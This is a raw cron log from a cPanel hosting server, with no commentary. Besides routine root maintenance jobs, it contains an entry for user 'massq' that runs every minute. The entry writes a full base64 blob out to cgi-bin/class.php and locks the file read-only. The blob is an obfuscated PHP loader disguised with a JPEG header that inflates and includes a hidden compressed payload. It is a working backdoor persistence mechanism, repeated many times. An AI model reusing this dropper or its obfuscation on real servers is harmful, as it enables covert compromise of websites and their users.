Sep 11 09:56:01 server CROND[16501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:56:01 server CROND[16502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:56:01 server CROND[16503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:57:01 server CROND[16978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:57:01 server CROND[16979]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:57:01 server CROND[16980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:57:01 server CROND[16981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:58:01 server CROND[17377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:58:01 server CROND[17378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:58:01 server CROND[17379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:59:01 server CROND[17772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:59:01 server CROND[17773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:59:01 server CROND[17774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:00:01 server CROND[18174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:00:01 server CROND[18176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:00:01 server CROND[18190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:00:01 server CROND[18192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:00:01 server CROND[18196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:00:01 server CROND[18201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:00:01 server CROND[18195]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:00:01 server CROND[18197]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 10:00:01 server CROND[18193]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 10:00:01 server CROND[18199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:01:01 server CROND[19119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:01:01 server CROND[19120]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 10:01:01 server CROND[19122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:01:01 server CROND[19121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:01:01 server run-parts(/etc/cron.hourly)[19120]: starting 0anacron
Sep 11 10:01:01 server run-parts(/etc/cron.hourly)[19140]: finished 0anacron
Sep 11 10:02:01 server CROND[19619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:02:01 server CROND[19620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:02:01 server CROND[19621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:03:01 server CROND[20170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:03:01 server CROND[20171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:03:01 server CROND[20172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:04:01 server CROND[20618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:04:01 server CROND[20619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:04:01 server CROND[20620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:05:01 server CROND[21006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:05:01 server CROND[21008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:05:01 server CROND[21009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:05:01 server CROND[21012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:05:01 server CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:05:01 server CROND[21010]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:05:01 server CROND[21011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:05:01 server CROND[21015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:06:01 server CROND[21858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:06:01 server CROND[21860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:06:01 server CROND[21861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:07:01 server CROND[22341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:07:01 server CROND[22342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:07:01 server CROND[22343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
